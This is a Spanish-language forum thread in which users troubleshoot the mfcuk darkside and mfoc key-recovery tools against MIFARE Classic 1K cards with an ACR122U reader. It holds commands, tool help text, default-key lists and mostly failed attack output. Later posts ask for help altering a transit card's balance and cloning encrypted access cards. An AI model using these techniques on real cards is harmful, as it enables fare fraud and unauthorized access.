Hasta el momento he podido ejecutar los siguientes comandos y sus salidas respectivas:

================================================== ========
1
%mfcuk_keyrecovery_darkside -U 0240fe5d -M 8 -C 0

MFCUK - MiFare Classic Universal toolKit - 0.1
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com


INFO: Connected to NFC reader: ACS ACR122U 00 00 / ACR122U207 - PN532 v1.6 (0x07)


VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

RECOVER: 0 1 2 3 4 5 6 7 8 9 a b c d e f
================================================== ============
La salida anterior me sugiere que esta trabajando de manera dummy sin hacer gran cosa...
================================================== ============


2
%mfcuk_keyrecovery_darkside -U 0240fe5d -M 8 -C 0 -V 1:A -o mifare_jhon.dmp

MFCUK - MiFare Classic Universal toolKit - 0.1
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com


INFO: Connected to NFC reader: ACS ACR122U 00 00 / ACR122U207 - PN532 v1.6 (0x07)


VERIFY:
Key A sectors: 0 1ERROR: AUTH sector 1, block 7, key 000000000000, key-type 0x60, error code 0x00
2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

RECOVER: 0 1 2 3 4 5 6 7 8 9 a b c d e f
================================================== ============

3
%mfcuk_keyrecovery_darkside -U 0240fe5d -M 8 -C 0 -R 1:A -o mifare_jhon.dmp

MFCUK - MiFare Classic Universal toolKit - 0.1
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com


INFO: Connected to NFC reader: ACS ACR122U 00 00 / ACR122U207 - PN532 v1.6 (0x07)


VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

RECOVER: 0 1

ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
..
..
..
================================================== =============
Se queda ciclado en ese error. Ademàs depuès de este comando el LED del lector se queda en rojo y ya no responde a otro comando... por lo cual cada vez que he ejecutado este comando he tenido que reiniciar el ordenador...
================================================== =============


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Anexo la siguiente info de mi sistema-lector: Para que tengais más elementos al respecto y puedan auxiliarme...
================================================== =============
root@gandalf-laptop:~# pcsc_scan
PC/SC device scanner
V 1.4.14 (c) 2001-2008, Ludovic Rousseau <[email protected]>
Compiled with PC/SC lite version: 1.4.99
Scanning present readers
0: ACS ACR122U 00 00

Sat Aug 28 14:12:40 2010
Reader 0: ACS ACR122U 00 00
Card state: Card inserted,
ATR: 3B 8F 80 01 80 4F 0C A0 00 00 03 06 03 00 01 00 00 00 00 6A

ATR: 3B 8F 80 01 80 4F 0C A0 00 00 03 06 03 00 01 00 00 00 00 6A
+ TS = 3B --> Direct Convention
+ T0 = 8F, Y(1): 1000, K: 15 (historical bytes)
TD(1) = 80 --> Y(i+1) = 1000, Protocol T = 0
-----
TD(2) = 01 --> Y(i+1) = 0000, Protocol T = 1
-----
+ Historical bytes: 80 4F 0C A0 00 00 03 06 03 00 01 00 00 00 00
Category indicator byte: 80 (compact TLV data object)
Tag: 4, len: F (initial access data)
Initial access data: 0C A0 00 00 03 06 03 00 01 00 00 00 00
+ TCK = 6A (correct checksum)

Possibly identified card (using /usr/share/pcsc/smartcard_list.txt):
3B 8F 80 01 80 4F 0C A0 00 00 03 06 03 00 01 00 00 00 00 6A
Philips MIFARE Standard (1 Kbytes EEPROM)
http://www.nxp.com/products/identification/mifare/classic/
RFID - ISO 14443 Type A - Transport for London Oyster

================================================== ==========
root@gandalf-laptop:~# nfc-list
nfc-list use libnfc 1.3.9 (r584)
Connected to NFC reader: ACS ACR122U 00 00 / ACR122U207 - PN532 v1.6 (0x07)
1 ISO14443A passive target(s) was found:
ATQA (SENS_RES): 00 04
UID (NFCID1): 5d fe 40 02 //Found MIFARE Classic 1k card with UID: 0240fe5d
SAK (SEL_RES): 08

0 Felica (212 kbps) passive target(s) was found.

0 Felica (424 kbps) passive target(s) was found.

0 ISO14443B passive target(s) was found.
================================================== ==============
root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src/bin# nfc-anticol

Connected to NFC reader: ACS ACR122U 00 00 / ACR122U207 - PN532 v1.6 (0x07)

R: 26 (7 bits)
T: 04 00
R: 93 20
T: 5d fe 40 02 e1
R: 93 70 5d fe 40 02 e1 a2 ca
T: 08 b6 dd
R: 50 00 57 cd

Found tag with UID: 5dfe4002
================================================== ==============
root@gandalf-laptop:~# nfc-poll
nfc-poll use libnfc 1.3.9 (r584)
Connected to NFC reader: ACS ACR122U 00 00 / ACR122U207 - PN532 v1.6 (0x07)
PN53x will poll during 6000 ms
1 target(s) have been found.
T1: targetType=10, targetData:
ATQA (SENS_RES): 00 04
UID (NFCID1): 5d fe 40 02
SAK (SEL_RES): 08


%%%%%%%%%%%%
%%%%%%%%%%%%

Gracias de antemano....

Izai
01-09-2010, 20:24
Me parece que tienes ahi un cacao de tres pares de cojones.

Si no entiendo mal:

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only# mfcuk_keyrecovery_darkside

Entiendo que tienes compilado el paquete mfcuk en la carpeta de la libreria nfc. La verdad es que no se como has conseguido hacer eso (bueno, si, me lo imagino). Son dos paquetes separados.

Desinstala lo que tengas instalado.

Instala primero el paquete libnfc y despues compilas mfcuk.

Una vez lo tengas compilado, te situas en la carpeta src y lo ejecutas.

El paquete parece que esta aqui:

http://code.google.com/p/mfcuk/source/browse/trunk/src/?r=2

Supongo que estara entero. No se.

Saludos.

3ljhon
01-09-2010, 21:36
Saludos

Os cometnto la carpeta

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/

La llame solamente asi "libnfc" , los paquetes libnfc y mfcuk estan compilados de manera separada.

Me pueden comentar como usar el mfcuk, los parametros a pasarle en la ejecuciòn

Gracias!.

ya que comentaba al ejecutarlo por ejemplo:
oot@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src/bin# mfcuk_keyrecovery_darkside -C 1 -s 56700


MFCUK - MiFare Classic Universal toolKit - 0.1
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com

WARN: non-supported sleep-AFTER-field ON value (56700)

INFO: Connected to NFC reader: ACS ACR122U 00 00 / ACR122U207 - PN532 v1.6 (0x07)


VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

RECOVER: 0 1 2 3 4 5 6 7 8 9 a b c d e f


Me parece que no està haciendo lo que se pretende!

3ljhon
01-09-2010, 21:46
Saludos os comento que al intentar ejecutar desde src como lo sugereis:

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src# mfcuk_keyrecovery_darkside -C 1 -s 56700
MFCUK - MiFare Classic Universal toolKit - 0.1
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com

WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd'
Fallo de segmentación
================================================== ============

Observo que dentro de src/bin/data

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src/bin/data# ls -la
total 20
drwxr-xr-x 5 root root 4096 2010-08-31 18:20 .
drwxr-xr-x 4 root root 4096 2010-08-31 22:16 ..
drwxr-xr-x 3 root root 4096 2010-08-31 18:20 logs_proxmark3
drwxr-xr-x 6 root root 4096 2010-08-31 18:20 .svn
drwxr-xr-x 3 root root 4096 2010-08-31 18:20 tmpls_fingerprints

================================================== ============
Lo cual me ha sugerido ejecutarlo desde src/bin

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src/bin# mfcuk_keyrecovery_darkside -C 1 -s 56700


MFCUK - MiFare Classic Universal toolKit - 0.1
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com

WARN: non-supported sleep-AFTER-field ON value (56700)

INFO: Connected to NFC reader: ACS ACR122U 00 00 / ACR122U207 - PN532 v1.6 (0x07)


VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

RECOVER: 0 1 2 3 4 5 6 7 8 9 a b c d e f


================================================== =============

Espero me puedan ayudar a ejecutar de manera correcta mfcuk, es decir, parametrizarlo correctamente.

Gracias de antemano

3ljhon
01-09-2010, 21:52
Cuando ejecuto el programa con la opciòn "-h" . Solo muestra la ayuda del programa..

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src/bin# mfcuk_keyrecovery_darkside -h


MFCUK - MiFare Classic Universal toolKit - 0.1
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com


Usage:
-C - require explicit connection to the reader. Without this option, the connection is not made and recovery will not occur
-i mifare.dmp - load input mifare_tag type dump
-I mifare_ext.dmp - load input extended dump specific to this tool, has several more fields on top of mifare_tag type dump
-o mifare.dmp - output the resulting mifare_tag dump to a given file
-O mifare_ext.dmp - output the resulting extended dump to a given file
-V sector[:A/B/any_other_alphanum[:fullkey]] - verify key for specified sector, -1 means all sectors
After first semicolon key-type can specified: A verifies only keyA, B verifies only keyB, anything else verifies both keys
After second semicolon full 12 hex-digits key can specified - this key will override any loaded dump key for the given sector(s) and key-type(s)
-R sector[:A/B/any_other_alphanum] - recover key for sector, -1 means all sectors.
After first semicolon key-type can specified: A recovers only keyA, B recovers only keyB, anything else recovers both keys
-U UID - force specific UID. If a dump was loaded with -i, -U will overwrite the in the memory where dump was loaded
-M tagtype - force specific tagtype. 8 is 1K, 24 is 4K, 32 is DESFire
-D - for sectors and key-types marked for verification, in first place use default keys to verify (maybe you are lucky)
-d key - specifies additional full 12 hex-digits default key to be checked. Multiple -d options can be used for more additional keys
-s - miliseconds to sleep for DROP FIELD
-S - miliseconds to sleep for CONSTANT DELAY
-P hex_literals_separated - try to recover the key from a conversation sniffed with Proxmark3 (mifarecrack.c based). Accepts several options:
Concatenated string in hex literal format of form uid:tag_chal:nr_enc:reader_resp:tag_resp
Example -P 0x5c72325e:0x50829cd6:0xb8671f76:0xe00eefc9:0x4888 964f would find key FFFFFFFFFFFF
-p proxmark3_full.log - tries to parse the log file on it's own (mifarecrack.py based), get the values for option -P and invoke it
-F - tries to fingerprint the input dump (-i) against known cards' data format


Agradecere me apoyen en ivocarlo de manera correcta, como os comenta y consta en post previos, estoy trabajando con un lector ACR122U y tarjetas mifare.

Gracias.

3ljhon
02-09-2010, 06:24
Saludos

Os coemnto al ejecutar el siguiente comando:

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src/bin# mfcuk_keyrecovery_darkside -v 1 -C 1 -R 0 -M 8 -U 0240fe5d 2>errors.log | tee results.log


MFCUK - MiFare Classic Universal toolKit - 0.1
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com


INFO: Connected to NFC reader: ACR122U207 - PN532 v1.6 (0x07)



INITIAL ACTIONS MATRIX - UID 02 40 fe 5d - TYPE 0x08 (MC1K)
---------------------------------------------------------------------
Sector | Key A |ACTS | RESL | Key B |ACTS | RESL
---------------------------------------------------------------------
0 | 000000000000 | . R | . . | 000000000000 | . R | . .
1 | 000000000000 | . . | . . | 000000000000 | . . | . .
2 | 000000000000 | . . | . . | 000000000000 | . . | . .
3 | 000000000000 | . . | . . | 000000000000 | . . | . .
4 | 000000000000 | . . | . . | 000000000000 | . . | . .
5 | 000000000000 | . . | . . | 000000000000 | . . | . .
6 | 000000000000 | . . | . . | 000000000000 | . . | . .
7 | 000000000000 | . . | . . | 000000000000 | . . | . .
8 | 000000000000 | . . | . . | 000000000000 | . . | . .
9 | 000000000000 | . . | . . | 000000000000 | . . | . .
10 | 000000000000 | . . | . . | 000000000000 | . . | . .
11 | 000000000000 | . . | . . | 000000000000 | . . | . .
12 | 000000000000 | . . | . . | 000000000000 | . . | . .
13 | 000000000000 | . . | . . | 000000000000 | . . | . .
14 | 000000000000 | . . | . . | 000000000000 | . . | . .
15 | 000000000000 | . . | . . | 000000000000 | . . | . .


VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f


ACTION RESULTS MATRIX AFTER VERIFY - UID 02 40 fe 5d - TYPE 0x08 (MC1K)
---------------------------------------------------------------------
Sector | Key A |ACTS | RESL | Key B |ACTS | RESL
---------------------------------------------------------------------
0 | 000000000000 | . R | . . | 000000000000 | . R | . .
1 | 000000000000 | . . | . . | 000000000000 | . . | . .
2 | 000000000000 | . . | . . | 000000000000 | . . | . .
3 | 000000000000 | . . | . . | 000000000000 | . . | . .
4 | 000000000000 | . . | . . | 000000000000 | . . | . .
5 | 000000000000 | . . | . . | 000000000000 | . . | . .
6 | 000000000000 | . . | . . | 000000000000 | . . | . .
7 | 000000000000 | . . | . . | 000000000000 | . . | . .
8 | 000000000000 | . . | . . | 000000000000 | . . | . .
9 | 000000000000 | . . | . . | 000000000000 | . . | . .
10 | 000000000000 | . . | . . | 000000000000 | . . | . .
11 | 000000000000 | . . | . . | 000000000000 | . . | . .
12 | 000000000000 | . . | . . | 000000000000 | . . | . .
13 | 000000000000 | . . | . . | 000000000000 | . . | . .
14 | 000000000000 | . . | . . | 000000000000 | . . | . .
15 | 000000000000 | . . | . . | 000000000000 | . . | . .


RECOVER: 0

...Del cual supongo que hay que esperarse un poco... despuès les comento como me fue con este comandillo

**Sí pueden ayudarme a invocarlo de manera correcta, por si en algo estoy invocando mal tal comando, os agradecere...

Gracias de antemano

Izai
02-09-2010, 19:39
Puedes capturar una imagen de lo que tienes en la carpeta bin?.

Saludos.

3ljhon
02-09-2010, 21:08
Saludos y Gracias Iz4i! y al foro en gral.

El àrbol del directorio src/bin es el siguiente:

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src/bin# ls -la
total 96384
drwxr-xr-x 4 root root 4096 2010-09-02 13:16 .
drwxr-xr-x 5 root root 4096 2010-09-01 14:56 ..
drwxr-xr-x 5 root root 4096 2010-08-31 18:20 data
-rw-r--r-- 1 root root 98436150 2010-09-02 13:28 errors.log
-rw-r--r-- 1 root root 22016 2010-08-31 18:20 libnfc.dll
-rw-r--r-- 1 root root 10218 2010-08-31 18:20 libnfc.lib
-rw-r--r-- 1 root root 48733 2010-08-31 18:20 mfcuk_keyrecovery_darkside_cygwin.exe
-rw-r--r-- 1 root root 40960 2010-08-31 18:20 mfcuk_keyrecovery_darkside_win32.exe
-rw-r--r-- 1 root root 4096 2010-08-31 22:16 mifare_jhon.dmp
-rw-r--r-- 1 root root 2744 2010-09-02 13:16 results.log
-rw-r--r-- 1 root root 4096 2010-09-02 13:16 snapshot.mfd
drwxr-xr-x 6 root root 4096 2010-08-31 18:20 .svn

ademàs...

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src/bin# ls -la data/
total 20
drwxr-xr-x 5 root root 4096 2010-08-31 18:20 .
drwxr-xr-x 4 root root 4096 2010-09-02 13:16 ..
drwxr-xr-x 3 root root 4096 2010-08-31 18:20 logs_proxmark3
drwxr-xr-x 6 root root 4096 2010-08-31 18:20 .svn
drwxr-xr-x 3 root root 4096 2010-08-31 18:20 tmpls_fingerprints

================================================== =============
Os comento...
Cuando ejecuto

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src/bin# mfcuk_keyrecovery_darkside -v 1 -C 1 -R 1 2>errors.log | tee results.log


MFCUK - MiFare Classic Universal toolKit - 0.1
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com


INFO: Connected to NFC reader: ACR122U207 - PN532 v1.6 (0x07)



INITIAL ACTIONS MATRIX - UID 5d fe 40 02 - TYPE 0x08 (MC1K)
---------------------------------------------------------------------
Sector | Key A |ACTS | RESL | Key B |ACTS | RESL
---------------------------------------------------------------------
0 | 000000000000 | . . | . . | 000000000000 | . . | . .
1 | 000000000000 | . R | . . | 000000000000 | . R | . .
2 | 000000000000 | . . | . . | 000000000000 | . . | . .
3 | 000000000000 | . . | . . | 000000000000 | . . | . .
4 | 000000000000 | . . | . . | 000000000000 | . . | . .
5 | 000000000000 | . . | . . | 000000000000 | . . | . .
6 | 000000000000 | . . | . . | 000000000000 | . . | . .
7 | 000000000000 | . . | . . | 000000000000 | . . | . .
8 | 000000000000 | . . | . . | 000000000000 | . . | . .
9 | 000000000000 | . . | . . | 000000000000 | . . | . .
10 | 000000000000 | . . | . . | 000000000000 | . . | . .
11 | 000000000000 | . . | . . | 000000000000 | . . | . .
12 | 000000000000 | . . | . . | 000000000000 | . . | . .
13 | 000000000000 | . . | . . | 000000000000 | . . | . .
14 | 000000000000 | . . | . . | 000000000000 | . . | . .
15 | 000000000000 | . . | . . | 000000000000 | . . | . .


VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f


ACTION RESULTS MATRIX AFTER VERIFY - UID 5d fe 40 02 - TYPE 0x08 (MC1K)
---------------------------------------------------------------------
Sector | Key A |ACTS | RESL | Key B |ACTS | RESL
---------------------------------------------------------------------
0 | 000000000000 | . . | . . | 000000000000 | . . | . .
1 | 000000000000 | . R | . . | 000000000000 | . R | . .
2 | 000000000000 | . . | . . | 000000000000 | . . | . .
3 | 000000000000 | . . | . . | 000000000000 | . . | . .
4 | 000000000000 | . . | . . | 000000000000 | . . | . .
5 | 000000000000 | . . | . . | 000000000000 | . . | . .
6 | 000000000000 | . . | . . | 000000000000 | . . | . .
7 | 000000000000 | . . | . . | 000000000000 | . . | . .
8 | 000000000000 | . . | . . | 000000000000 | . . | . .
9 | 000000000000 | . . | . . | 000000000000 | . . | . .
10 | 000000000000 | . . | . . | 000000000000 | . . | . .
11 | 000000000000 | . . | . . | 000000000000 | . . | . .
12 | 000000000000 | . . | . . | 000000000000 | . . | . .
13 | 000000000000 | . . | . . | 000000000000 | . . | . .
14 | 000000000000 | . . | . . | 000000000000 | . . | . .
15 | 000000000000 | . . | . . | 000000000000 | . . | . .


RECOVER: 0 1

Despuès de un momento el LED del lector se queda en rojo
y el archivo errors.log esta lleno de lìneas como la siguiente:

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src/bin# more errors.log
ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
ERROR: configuring NDO_ACTIVATE_FIELD
ERROR: mfcuk_key_recovery_block() (error code=0x08)
ERROR: configuring NDO_ACTIVATE_FIELD

================================================== ============

MFOC

Os comento que el siguiente comando, de mfoc regresa lo siguiente

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only/src/bin# mfoc -P 5000 -O rotschool.dmp
Found MIFARE Classic 1K card with uid: 5dfe4002
[Key: a0a1a2a3a4a5] -> [x...............]
[Key: b0b1b2b3b4b5] -> [x...............]
[Key: 000000000000] -> [x...............]
[Key: 4d3a99c351dd] -> [x...............]
[Key: 1a982c7e459a] -> [x...............]
[Key: d3f7d3f7d3f7] -> [x...............]
[Key: aabbccddeeff] -> [x...............]
[Key: 714c5c886e97] -> [x...............]
[Key: 587ee5f9350f] -> [x...............]
[Key: a0478cc39091] -> [x...............]
[Key: 533cb6c723f6] -> [x...............]
[Key: 8fd0a4f256e9] -> [x...............]

Sector 00 - FOUND_KEY [A] Sector 00 - UNKNOWN_KEY
Sector 01 - UNKNOWN_KEY [A] Sector 01 - UNKNOWN_KEY [B]
Sector 02 - UNKNOWN_KEY [A] Sector 02 - UNKNOWN_KEY [B]
Sector 03 - UNKNOWN_KEY [A] Sector 03 - UNKNOWN_KEY [B]
Sector 04 - UNKNOWN_KEY [A] Sector 04 - UNKNOWN_KEY [B]
Sector 05 - UNKNOWN_KEY [A] Sector 05 - UNKNOWN_KEY [B]
Sector 06 - UNKNOWN_KEY [A] Sector 06 - UNKNOWN_KEY [B]
Sector 07 - UNKNOWN_KEY [A] Sector 07 - UNKNOWN_KEY [B]
Sector 08 - UNKNOWN_KEY [A] Sector 08 - UNKNOWN_KEY [B]
Sector 09 - UNKNOWN_KEY [A] Sector 09 - UNKNOWN_KEY [B]
Sector 10 - UNKNOWN_KEY [A] Sector 10 - UNKNOWN_KEY [B]
Sector 11 - UNKNOWN_KEY [A] Sector 11 - UNKNOWN_KEY [B]
Sector 12 - UNKNOWN_KEY [A] Sector 12 - UNKNOWN_KEY [B]
Sector 13 - UNKNOWN_KEY [A] Sector 13 - UNKNOWN_KEY [B]
Sector 14 - UNKNOWN_KEY [A] Sector 14 - UNKNOWN_KEY [B]
Sector 15 - UNKNOWN_KEY [A] Sector 15 - UNKNOWN_KEY [B]


Using sector 00 as an exploit sector
Reader-answer transfer error, exiting..

Y se queda el LED en rojo... supogo que no hae gran cosa...


Me podrian ayudar diciendome como es que se usa/invoca, os comento que tengo un ACR122U & Mifare 1K el uid esta en mis post previos y otra info relacionada a mi sistema-lector.

[B]Gracias de antemano!

MONOMEN
08-03-2011, 02:01
Buenas tardes

aver si alguien me puede ayudar porque tengo una duda?

El proxmark3 puede leer tarjetas de chip(no de proximidad)

esque tengo el omnikey5321 y no me lee las tarjetas ni puedo escribir en ellas
dice que en hexadecimal y no lee tambien salen puras ff ff ff ff ff ff ff ff ff
necesitare el proxmark3 para decifrar??
O que me recomiendad?

Gracias y saludos

eduarxj32
26-08-2015, 20:56
Hola todos, como están?... sucede lo siguiente estoy muy interesado en el tema pero tengo un inconveniente, digamos que soy mas o menos un novato, solamente he trabajado programación en c, c++ pues voy en segundo semestre de la U. Me parece excelente la idea de usar el ACR122U ya que es mas económico, pero entonces listo compro el lector y ahí no se que hacer me gustaría mucho lograr modificar los datos de una tarjeta mifare, pero sucede que no entiendo muy bien lo que hablan, son tan amables podrían explicarme de una forma mas sencilla como hacer todo el procedimiento para lograr modificar por ejemplo el saldo de una tarjeta mifare de Transporte publico. Digamos con un tutorial un poco mas explicado de todo lo que se debe hacer, Gracias. Se los agradezco de corazón si me pueden colaborar.

coiro2k4
11-05-2016, 05:34
Hola,
He montado un lector de tarjetas con Arduino, ya que usamos software libre, usemos hardware libre también...
El tema es que, piensan que se podra hacer algo similar a lo que comentan, pero con Arduino?
He logrado llegar hasta leer los tags de las tarjetas no encriptadas.

Gracias.

MAURO50
03-03-2017, 13:25
Me encanta el tema, pero de momento soy demasiado novato para entenderlo....en ello estamos...acabo de pedir el PROXMARK 3...a ver que consigo..
Saludos.

oscure
09-10-2017, 23:12
Hola buenas! voy a revivir este tema! perdón por no averme presentado antes pero me asalta una gran duda sobre este tema... leo una tarjeta mifare classic 4k con un movil android y mifare classic tool, tambien le e metido el archivo con 100000 keys generado por nfckeylist pro, y hay sectores que no me los lee!!! como puedo solucionarlo???

Gracias a todos

miguel angel
09-03-2019, 18:06
Hola a todos,
Soy nuevo en el foro.
Alguien me puede ayudar?
Busco clonar tarjetas Mifare 1K. Pero tienen el sector 1 encriptado. Además la UID de la nueva tarjeta clonada no debe ser igual a la original.
Saludos.
Miguel Angel